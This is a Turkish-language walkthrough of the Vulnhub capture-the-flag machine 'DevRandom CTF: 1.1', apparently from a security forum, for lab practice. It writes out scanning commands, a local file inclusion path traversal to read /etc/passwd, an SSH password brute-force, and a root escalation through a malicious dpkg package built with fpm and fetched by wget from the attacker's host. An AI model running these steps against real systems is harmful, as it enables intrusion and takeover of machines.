Merhabalar herkese, bu sayımızda sizlerle birlikte Vulnhub’ta bulunanDevRandom CTF: 1.1 isimli makineyi çözeceğiz. Lafı uzatmadan makine hakkında bilgileri verelim ardından makinenin çözümüne geçelim.
Makine Adı: DevRandom CTF: 1.1 Seri İsmi: DevRandom CTF Makine Yayınlanma Tarihi: 27 Mart 2020
Makineyi Oluşturan: Hunri Beats
Bu kadar bilgi yeter bence, haydi makinenin çözümüne geçelim.
Öncelikle zafiyetli makinemizin IP adresini öğrenelim. Bunun için terminali açarak
Kod:
sudo netdiscover
yazalım. Bizlere ağımızda bulunan cihazların IP adreslerini ve MAC adreslerini listeledi.
IP adresimizi aldık sırada port taraması yapmaya geldi. Zafiyetli makinenin portlarını tarayarak bir açık bulmaya çalışalım. Terminale
Kod:
nmap -A -p- 192.168.1.142
yazarak makine hakkında bilgi alalım.
SSH ve HTTP portları açık olduğunu gördük. 80 portunun açık olmasından bir web sayfasının ayakta olduğunu anlayabiliriz. Tarayıcımızı açarak 192.168.1.142 yazalım.
Resimdeki gibi bir site karşıladı bizleri. Kaynak kodlarına baktım ancak bir veri elde edemedim. Ardından dizin taraması yapmak için dirb aracını açtım. Terminale gelerek
Kod:
dirb http://192.168.1.142
yazalım.
Burada dikkatimi çeken yer "robots.txt" kısmı oldu. Tarayıcıya tekrar gelerek
Kod:
http://192.168.1.142/robots.txt
yazalım. Dizinlere baktım fakat bir şey bulamadım. En son çare olarak ?include=info dizinine gitmeye karar verdim.
Yeni bir sayfa açıldı ve biraz bekledikten sonra bir sayfa çağırdığını gördüm. Buradan LFI(Local File Inclusion) açığı olabileceğini düşündüm ki ?include da düşüncemi güçlendirdi.
Genel olarak bu tür açıklarda "../../../etc/passwd" şeklinde gidilerek bilgiler alınır. Burada ki amaç: "../" ile bir önceki dizine geçiş yapmaktır. Ne kadar yapacağınız belli olmaz yani spesifik bir sayısı yoktur. Makineden makineye değişim göstermektedir. Bu makinede dokuz tane yaptığımızda bilgilere erişebildik.
"trevor" isimli bir kullanıcı adını yakaladım. Bu veriyi SSH bağlantısında kullanacağım ancak şifre elimizde yok. Bu yüzden kaba kuvvet saldırısı yapacağız.
yazalım. Buradaki kod yapısındaki amaç hydra isimli aracı ile 192.168.1.142 IP adresli makinenin SSH portuna trevor isimli kullanıcı adı ile şifre denemesi yapmaktır.
Şifreyi bulduk şifremiz: qwertyuiop[]
SSH ile makineye bağlanmak için terminali tekrar açalım ve
yazalım. Bizlerden şifre istediğinde "qwertyuiop[]" yazalım. Gördüğünüz gibi makineye başarılı bir şekilde giriş yaptık.
Karşı makineye girdik ancak yetkimiz sınırlı. Yetki yükseltme işlemi yapmamız gerekiyor ve aklıma dpkg ile zararlı bir paket yüklemek geldi. İnternette biraz araştırma yaparak https://gtfobins.github.io/gtfobins/dpkg/ zararlının nasıl oluşturulup kullanılacağını buldum. Kendi makineme gelerek terminale
Kod:
TF=$(mktemp -d)
yazdıktan sonra
Kod:
echo 'exec /bin/sh' > $TF/x.sh
ve dosyayı oluşturmak için
Kod:
fpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF
yazdım.
Resimde de gördüğünüz gibi dosyamız oluştu. Şimdi Python Server'ı açarak zafiyetli makineden bunu çekeceğim. Python Server'ı açmak için
Kod:
python -m SimpleHTTPServer
yazıyorum.
Zafiyetli makinede kendi makinemden yetki sorunu çekmeden çekebileceğim tek yer "/tmp" dizini. Onun için "/tmp" dizinine geçmek için l
Kod:
s /tmp
yazdım. Ardından dosyayı almak için
Kod:
wget http://192.168.1.54:8000/x_1.0_all.deb
yazdım ve dosyayı başarılı bir şekilde çektim.
Zararlıyı çalıştırmak için ise:
Kod:
sudo dpkg -i x_1.0_all.deb
yazdım. Zararlımız çalıştı "id" değerimize baktığımızda "root" yetkisinde olduğumuzu gördük. Root dizinine giderek flag dosyamızı aldım.